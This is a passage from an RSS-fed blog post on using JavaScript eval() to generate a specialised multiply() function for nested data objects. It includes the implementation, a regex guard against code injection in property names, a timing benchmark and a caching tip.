<p>But you don't know the structure in advance, so you can't. So what's the solution... Write a new function for every structure of data object? Well you could, but that would be a pain to maintain.</p>

<h3>Code generation to the rescue</h3>

<p>The solution, as you have probably guessed from the title of the article, is to inspect the data object once and generate code for an appropriate <code>multiply()</code> method. You then use <code>eval()</code> to create the method.</p>

<div class="sidebar">
    <h3>It's nice to have company</h3>
    <p>Robert O'Callahan at mozilla has used this technique to create a <a href="http://weblogs.mozillazine.org/roc/archives/2010/11/implementing_a.html">JIT'ed code interpreter in JavaScript</a>, which is pretty damn cool.</p>
</div>

<p>Here's an implementation of the multiplier that does this:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// this Multiplier compiles a multiply() function in its constructor</span>
<span style="color: #003366; font-weight: bold;">function</span> CompilingMultiplier<span style="color: #009900;">&#40;</span>data<span style="color: #339933;">,</span> coefficient<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">data</span> <span style="color: #339933;">=</span> data<span style="color: #339933;">;</span>
    <span style="color: #006600; font-style: italic;">// compile multiply function</span>
    <span style="color: #003366; font-weight: bold;">var</span> codeString <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;this.multiply = function() {<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #003366; font-weight: bold;">var</span> paths <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">getIntegerPaths</span><span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span>paths.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        codeString <span style="color: #339933;">+=</span> <span style="color: #3366CC;">&quot;    this.data.&quot;</span> <span style="color: #339933;">+</span> paths<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>
                   <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot; *= &quot;</span> <span style="color: #339933;">+</span> coefficient <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    codeString <span style="color: #339933;">+=</span> <span style="color: #3366CC;">&quot;}&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span>codeString<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">generatedCode</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Generated code:<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #339933;">+</span> codeString<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #006600; font-style: italic;">// e.g. if data={a:10, subObject:{b: 11, c:&quot;foo&quot;},</span>
<span style="color: #006600; font-style: italic;">// return [&quot;a&quot;, &quot;subObject.b&quot;]</span>
CompilingMultiplier.<span style="color: #660066;">prototype</span>.<span style="color: #660066;">getIntegerPaths</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">var</span> paths <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">this</span>._getIntegerPaths<span style="color: #009900;">&#40;</span>data<span style="color: #339933;">,</span> paths<span style="color: #339933;">,</span> <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">return</span> paths<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
CompilingMultiplier.<span style="color: #660066;">prototype</span>._getIntegerPaths
                <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>data<span style="color: #339933;">,</span> accumulator<span style="color: #339933;">,</span> stack<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">var</span> prop<span style="color: #339933;">,</span> stackPos <span style="color: #339933;">=</span> stack.<span style="color: #660066;">length</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span>prop <span style="color: #000066; font-weight: bold;">in</span> data<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #006600; font-style: italic;">// regex to protect from code execution attacks -</span>
        <span style="color: #006600; font-style: italic;">// only allow valid variable names</span>
        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>prop.<span style="color: #660066;">match</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/^\w+$/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066; font-weight: bold;">continue</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
        stack<span style="color: #009900;">&#91;</span>stackPos<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> prop<span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">switch</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> data<span style="color: #009900;">&#91;</span>prop<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066; font-weight: bold;">case</span> <span style="color: #3366CC;">&quot;number&quot;</span><span style="color: #339933;">:</span>
                accumulator.<span style="color: #660066;">push</span><span style="color: #009900;">&#40;</span>stack.<span style="color: #660066;">join</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #000066; font-weight: bold;">break</span><span style="color: #339933;">;</span>
            <span style="color: #000066; font-weight: bold;">case</span> <span style="color: #3366CC;">&quot;object&quot;</span><span style="color: #339933;">:</span>
                <span style="color: #000066; font-weight: bold;">this</span>._getIntegerPaths<span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#91;</span>prop<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> accumulator<span style="color: #339933;">,</span> stack<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #000066; font-weight: bold;">break</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
    stack.<span style="color: #660066;">length</span> <span style="color: #339933;">=</span> stack.<span style="color: #660066;">length</span><span style="color: #339933;">-</span><span style="color: #CC0000;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #006600; font-style: italic;">// It would actually be more appropriate to use</span>
<span style="color: #006600; font-style: italic;">// &quot;this.multiply = new Function(...)&quot;, which</span>
<span style="color: #006600; font-style: italic;">// is a wrapper around eval for creating functions,</span>
<span style="color: #006600; font-style: italic;">// but I'm trying to prove a point here :o)</span></pre></div></div>




<h3>Performance test</h3>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// CompilingMultiplier test code:  calculate the</span>
<span style="color: #006600; font-style: italic;">// average time taken to call multiply()</span>
<span style="color: #003366; font-weight: bold;">var</span> TIMES <span style="color: #339933;">=</span> <span style="color: #CC0000;">1000000</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> compileStart <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Date<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> data <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span>a<span style="color: #339933;">:</span><span style="color: #CC0000;">1</span><span style="color: #339933;">,</span> b<span style="color: #339933;">:</span><span style="color: #009900;">&#123;</span>foo<span style="color: #339933;">:</span><span style="color: #CC0000;">2</span><span style="color: #339933;">,</span> bar<span style="color: #339933;">:</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> c<span style="color: #339933;">:</span><span style="color: #009900;">&#123;</span>quux<span style="color: #339933;">:</span><span style="color: #CC0000;">5</span><span style="color: #339933;">,</span> blarty<span style="color: #339933;">:</span><span style="color: #CC0000;">6</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> mul <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> CompilingMultiplier<span style="color: #009900;">&#40;</span>data<span style="color: #339933;">,</span> <span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> compileEnd <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Date<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> runStart <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Date<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span>TIMES<span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    mul.<span style="color: #660066;">multiply</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">var</span> runEnd <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Date<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'generatedCode'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">innerHTML</span>
    <span style="color: #339933;">=</span> mul.<span style="color: #660066;">generatedCode</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/\n/g</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;&amp;lt;br&amp;gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>
    <span style="color: #009900;">&#40;</span>compileEnd.<span style="color: #660066;">getTime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> compileStart.<span style="color: #660066;">getTime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot; milliseconds compilation, &quot;</span>
    <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1000</span> <span style="color: #339933;">*</span> <span style="color: #009900;">&#40;</span>runEnd.<span style="color: #660066;">getTime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> runStart.<span style="color: #660066;">getTime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span> TIMES<span style="color: #009900;">&#41;</span>
    <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot; microseconds average run time&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>




<script type="text/javascript">
// this Multiplier compiles a multiply() function in its constructor
function CompilingMultiplier(data, coefficient) {
    this.data = data;
    // compile multiply function
    var codeString = "this.multiply = function() {\n";
    var paths = this.getIntegerPaths(data);
    for (var i=0; i<paths.length; i++) {
        codeString += "    this.data." + paths[i] + " *= " + coefficient + ";\n";
    }
    codeString += "}";
    eval(codeString);
    this.generatedCode = "Generated code:\n\n" + codeString;
}
// e.g. if data={a:10, subObject:{b: 11, c:"foo"}, return ["a", "subObject.b"]
CompilingMultiplier.prototype.getIntegerPaths = function(data) {
    var paths = [];
    this._getIntegerPaths(data, paths, []);
    return paths;
}
CompilingMultiplier.prototype._getIntegerPaths = function(data, accumulator, stack) {
    var prop, stackPos = stack.length;
    for (prop in data) {
        // regex to protect from code execution attacks - only allow valid variable names
        if (!prop.match(/^\w+$/)) {
            continue;
        }
        stack[stackPos] = prop;
        switch (typeof data[prop]) {
            case "number":
                accumulator.push(stack.join("."));
                break;
            case "object":
                this._getIntegerPaths(data[prop], accumulator, stack);
                break;
        }
    }
    stack.length = stack.length-1;
}

function doTestCompilingMultiplier() {
    // CompilingMultiplier test code:  calculate the average time taken to call multiply()
    var TIMES = 1000000;
    var compileStart = new Date();
    var mul = new CompilingMultiplier({a:1, b:{foo:2, bar:4}, c:{quux:5, blarty:6}}, 2);
    var compileEnd = new Date();
    
    var runStart = new Date();
    for(var i=0; i<TIMES; i++) {
        mul.multiply();
    }
    var runEnd = new Date();
    document.getElementById('generatedCode').innerHTML
        = mul.generatedCode.replace(/\n/g, "<br>");
    alert(
        (compileEnd.getTime() - compileStart.getTime())
        + " milliseconds compilation, "
        + (1000 * (runEnd.getTime() - runStart.getTime()) / TIMES)
        + " microseconds average run time");
}

</script>


<p><button onclick="doTestCompilingMultiplier()">test CompilingMultiplier</button> &nbsp; &nbsp;
<button onclick="doTestReflectingMultiplier()">Remind me how long ReflectingMultiplier took</button>
</p>

<pre id="generatedCode"></pre>

<p>Your milage may vary, but I found the compiling version to be about 5 times faster than the reflecting version.</p>

<h3>Further optimisation</h3>

<p>The compiling stage takes time - 850 microseconds in my tests. If you're using <code>multiply()</code> less than 30 times for each compilation, it's actually faster to use the reflecting version. One good way to make sure you compile as little as possible is to cache the generated functions. If you happen to know that each instance of the classes you're using has the same internal structure, you can do this:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// Caching the generated function so that only one</span>
<span style="color: #006600; font-style: italic;">// function is generated for any given class</span>
<span style="color: #003366; font-weight: bold;">function</span> CompilingMultiplier<span style="color: #009900;">&#40;</span>data<span style="color: #339933;">,</span> coefficient<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #006600; font-style: italic;">// every object has a hidden member variable 'constructor',</span>
    <span style="color: #006600; font-style: italic;">// which is a reference to its constructor function that</span>
    <span style="color: #006600; font-style: italic;">// doesn't show up in a for(x in y) loop.</span>
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>data.<span style="color: #660066;">constructor</span>.__multiplierCache<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">multiplier</span> <span style="color: #339933;">=</span> data.<span style="color: #660066;">constructor</span>.__multiplierCache<span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
        ... <span style="color: #660066;">compile</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">multiply</span> <span style="color: #003366; font-weight: bold;">function</span> ...
        <span style="color: #660066;">data</span>.<span style="color: #660066;">constructor</span>.__multiplierCache <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">multiply</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>




<h2>In summary</h2>

<p>Use this technique when...</p>

<ul>
    <li>you have a loop that runs many times and/or a recursive algorithm, and most of the time is spent managing loop variables and function calls rather than doing useful work.</li>
    <li>you are inspecting a structure before using it, and you know that the structure isn't going to change.</li>
    <li>you can't see any easier ways of optimising the loop.</li>
</ul>

<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://berniesumption.com/software/eval-considered-useful/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 2.883 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2012-05-18 14:53:51 -->
<!-- Compression = gzip -->
